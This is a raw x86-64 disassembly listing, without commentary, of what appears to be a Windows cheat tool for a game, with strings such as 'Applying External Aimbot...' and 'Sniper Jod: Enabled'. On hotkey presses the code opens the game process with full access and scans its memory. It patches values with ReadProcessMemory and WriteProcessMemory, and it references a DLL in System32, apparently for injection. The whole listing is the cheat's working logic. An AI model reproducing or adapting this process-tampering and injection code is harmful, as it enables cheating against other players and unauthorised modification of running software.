lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocool_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___Did_you_call_ImGui_ImplDX11_Init____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
cmp qword [rbx + 0x48], 0
jne 0x140039279
call fcn.1400344d0
call fcn.140035680
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140039bba
mov rax, qword [0x1401117c0]
test rax, rax
jne 0x1400392be
mov r8d, 0xf5d
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocoolimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401117c0]
movss xmm0, dword [rax + 0x18]
mulss xmm0, xmm6
mov ecx, dword [0x1400c40f4]
cmp ecx, 0xff
jg 0x1400392e3
cmp byte [0x140111af9], 0
mov eax, Ordinal_301
jne 0x1400392e6
mov eax, r12d
sub eax, ecx
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mulss xmm1, xmm0
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
addss xmm1, xmm0
cvttss2si r8d, xmm1
mov dword [0x1400c40f4], r8d
cmp r8d, 0xff
jle 0x140039323
mov dword [0x1400c40f4], 0xff
mov r8d, 0xff
xor edx, edx
lea r9d, [rdx + 2]
mov rcx, qword [0x1401117c8]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xor edx, edx
mov rcx, qword [0x1401117c8]
call qword [sym.imp.USER32.dll_ShowWindow]
call fcn.140008690
lea rcx, [0x140111810]
call fcn.1400442a0
cmp byte [0x140111af8], 0
jne 0x14003938c
mov byte [0x140111af8], 1
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:Users_alifAppDataLocalDiscord_app_1.0.9032Discord
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x77
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400396bc
call fcn.140037270
mov rcx, rax
call fcn.140037540
test eax, eax
je 0x1400393ce
mov dword [0x1401117e0], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401117e8], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x138], xmm0
mov qword [rsp + 0x148], r12
mov dword [rsp + 0x80], 0xffffffff
mov qword [rsp + 0x84], 0
mov dword [rsp + 0x8c], 0
mov dword [rsp + 0x90], 0x3f3f3f3f
mov dword [rsp + 0x94], 0x3f3f3f3f
mov dword [rsp + 0x98], 0x3f3f3f3f
mov qword [rsp + 0x9c], 0x3f3f3f3f
mov qword [rsp + 0xa4], 0
mov qword [rsp + 0xac], 0
mov dword [rsp + 0xb4], 0
mov dword [rsp + 0xb8], 0x43a50000
mov word [rsp + 0xbc], 0
mov byte [rsp + 0xbe], 0
mov ecx, 0x3f
call fcn.140097cd4
mov r14, rax
mov qword [rsp + 0x118], rax
lea rsi, [rax + 0x3f]
mov qword [rsp + 0x128], rsi
mov r8d, 0x3f
lea rdx, [rsp + 0x80]
mov rcx, rax
call sub.VCRUNTIME140.dll_memmove
mov qword [rsp + 0x120], rsi
lea rcx, [rsp + 0x200]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rdi, qword [rsp + 0x208]
mov rbx, qword [rsp + 0x210]
mov qword [rsp + 0xd0], WSAGetLastError
lea rdx, [rsp + 0xd0]
lea rcx, [rsp + 0x138]
call fcn.14003a270
mov r8d, reloc.WLDAP32.dll_Ordinal_27
lea rdx, str.Applying_External_Aimbot...
lea rcx, str.Status_:
call fcn.140032cc0
lea rax, [rsp + 0x138]
mov qword [rsp + 0x20], rax
mov r9, r14
mov r8, rbx
mov rdx, rdi
lea rcx, [0x1401117e0]
call fcn.140037760
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xf8], r12
mov r13, qword [rsp + 0x138]
mov r15, qword [rsp + 0x140]
cmp r13, r15
jne 0x14003957e
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Failed_To_Apply_
lea rcx, str.Status_:
call fcn.140032cc0
jmp 0x140039634
sub r15, r13
sar r15, 3
mov rdx, r15
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
lea rdx, [0x14003a230]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov esi, r12d
test r15, r15
je 0x140039606
mov rdi, r13
mov rax, qword [rdi]
lea rdx, [rax + 0x60]
lea rbx, [rax + 0x5c]
mov qword [rsp + 0x20], r12
mov r9d, 4
lea r8, [rsp + 0x68]
mov rcx, qword [0x1401117e8]
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [rsp + 0x20], r12
mov r9d, 4
lea r8, [rsp + 0x68]
mov rdx, rbx
mov rcx, qword [0x1401117e8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
inc esi
lea rdi, [rdi + 8]
movsxd rax, esi
cmp rax, r15
jb 0x1400395b0
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.External_Aimbot_Activated_
lea rcx, str.Status_:
call fcn.140032cc0
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
mov rsi, qword [rsp + 0x128]
test r14, r14
je 0x14003966d
sub rsi, r14
cmp rsi, 0x1000
jb 0x140039661
add rsi, 0x27
mov rcx, qword [r14 - 8]
sub r14, rcx
lea rax, [r14 - 8]
cmp rax, 0x1f
ja 0x140039bac
mov r14, rcx
mov rdx, rsi
mov rcx, r14
call fcn.140098028
nop
test r13, r13
je 0x1400396b6
mov rax, qword [rsp + 0x148]
sub rax, r13
sar rax, 3
lea rdx, [rax*8]
mov rax, r13
cmp rdx, 0x1000
jb 0x1400396ae
add rdx, 0x27
mov r13, qword [r13 - 8]
sub rax, r13
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140039bb3
mov rcx, r13
call fcn.140098028
mov r15d, 1
mov ecx, 0x76
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140039865
call fcn.140037270
mov rcx, rax
call fcn.140037540
test eax, eax
je 0x1400396fe
mov dword [0x1401117e0], eax
mov r8d, eax
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [0x1401117e8], rax
lea rcx, [rsp + 0x200]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rsi, qword [rsp + 0x208]
mov rdi, qword [rsp + 0x210]
mov r8d, reloc.WS2_32.dll_setsockopt
lea rdx, str.Sniper_Jod_:_Applying
lea rcx, str.Status_:
call fcn.140032cc0
mov ecx, reloc.WS2_32.dll_setsockopt
call fcn.1400980cc
mov rbx, rax
mov dword [rax], 0x8ccccd00
mov dword [rax + 4], 0xf5c28f3f
mov dword [rax + 8], 0xcccccd3c
mov dword [rax + 0xc], 0x73d
mov dword [rax + 0x10], 0xffb1e000
mov byte [rax + 0x14], 0xff
mov ecx, reloc.WS2_32.dll_sendto
call fcn.1400980cc
mov dword [rax], 0x3f8ccccd
mov dword [rax + 4], 0x3cf5c28f
mov dword [rax + 8], 0x3dcccccd
mov qword [rax + 0xc], 7
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, rdi
mov rdx, rsi
lea rcx, [0x1401117e0]
call fcn.140037610
mov ecx, 8
call fcn.1400980cc
mov rbx, rax
mov dword [rax], 0x3db851ec
mov dword [rax + 4], 0x3cf5c28f
mov ecx, Ordinal_45
call fcn.1400980cc
mov dword [rax], 0x3f3f3f3f
mov qword [rax + 4], 0x3e800000
mov dword [rax + 0xc], 0x3f3f3f3f
mov dword [rax + 0x10], 0x3f3f3f3f
mov dword [rax + 0x14], 0x3f3f3f3f
mov dword [rax + 0x18], 0x3f3f3f3f
mov qword [rax + 0x1c], 0x3f3f3f3f
mov dword [rax + 0x24], 0
mov dword [rax + 0x28], 0x3f800000
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, rdi
mov rdx, rsi
lea rcx, [0x1401117e0]
call fcn.140037610
mov edx, 0x1f4
mov ecx, edx
test al, al
je 0x140039846
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WS2_32.dll_sendto
lea rdx, str.Sniper_Jod_:_Enabled
jmp 0x140039859
call qword [sym.imp.KERNEL32.dll_Beep]
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, str.Sniper_Jod_:_Unsuccessful_
lea rcx, str.Status_:
call fcn.140032cc0
mov ecx, 0x75
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14003988d
lea rdx, str.C:WindowsSystem32kernel32.dll
call fcn.140037c30
lea rdx, str.C:WindowsSystem32charme_compressed.dll
call fcn.140037c30
call fcn.14000b990
xorps xmm0, xmm0
movups xmmword [rsp + 0x1f0], xmm0
mov rcx, qword [0x140111ae8]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x140111ad0]
mov edx, r15d
call qword [rax + 0x108]
mov rcx, qword [0x140111ae8]
mov rax, qword [rcx]
lea r8, [rsp + 0x1f0]
mov rdx, qword [0x140111ad0]
call qword [rax + 0x190]
mov rbx, qword [0x1401117c0]
cmp dword [rbx + 0x4870], 0
jg 0x140039903
mov r8d, 0x6fe
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocoolimgui.h
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4878]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, r12
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.140033a70
mov rcx, qword [0x140111ad8]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, r15d
call qword [rax + 0x40]
mov ebx, dword [rsp + 0x70]
jmp 0x1400391c0
mov rbx, qword [0x1401117c0]
test rbx, rbx
je 0x140039959
mov rdi, qword [rbx + 0xa0]
test rdi, rdi
jne 0x14003997d
jmp 0x14003995c
mov rdi, r12
mov r8d, 0x241
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocool_backendsimgui_impl_dx11.cpp
lea rcx, str.bd___nullptr___No_renderer_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401117c0]
test rbx, rbx
jne 0x1400399a3
mov r8d, 0xf5d
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocoolimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1401117c0]
call fcn.140034a00
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x1400399b7
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x1400399c5
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x1400399d4
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x90], r12
mov qword [rbx + 0xa0], r12
mov rax, qword [0x1401117c0]
test rax, rax
je 0x1400399f4
dec dword [rax + 0xf4]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rax, qword [0x1401117c0]
test rax, rax
je 0x140039a17
mov rbx, qword [rax + 0x98]
test rbx, rbx
jne 0x140039a3b
jmp 0x140039a1a
mov rbx, r12
mov r8d, 0xa8
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocool_backendsimgui_impl_win32.cpp
lea rcx, str.bd___nullptr___No_platform_backend_to_shutdown__or_already_shutdown__
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401117c0]
test rax, rax
jne 0x140039a61
mov r8d, 0xf5d
lea rdx, str.F:ApexVSimgui_bimsocoolV2imgui_bimsocoolimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x1401117c0]
lea rdi, [rax + 8]
mov rcx, qword [rbx + 0x30]
test rcx, rcx
je 0x140039a7b
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [0x1401117c0]
mov qword [rdi + 0x80], r12
mov qword [rdi + 0x90], r12
test rax, rax
je 0x140039a94
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [0x1401117c0]
mov qword [0x1401117c0], rbx
call fcn.140009fa0
mov qword [0x1401117c0], r12
test rbx, rbx
je 0x140039adf
mov rcx, rbx
call fcn.14001cae0
mov rax, qword [0x1401117c0]
test rax, rax
je 0x140039ad6
dec dword [rax + 0xf4]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call fcn.140037a80
mov rcx, qword [0x1401117c8]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x1b0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov rdi, qword [rsp + 0x150]
mov rsi, qword [rsp + 0x1c0]
mov r14, qword [rsp + 0x168]
mov r13, qword [rsp + 0x1d8]
cmp byte [rsp + 0x60], 0
je 0x140039b67
lea rdx, [r13*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140039b5e
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039b5e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.140098028
nop
cmp r14, 7
jbe 0x140039ba5
lea rdx, [r14*2 + 2]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140039b9d
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140039b9d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140098028
xor eax, eax
jmp 0x140038c71
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3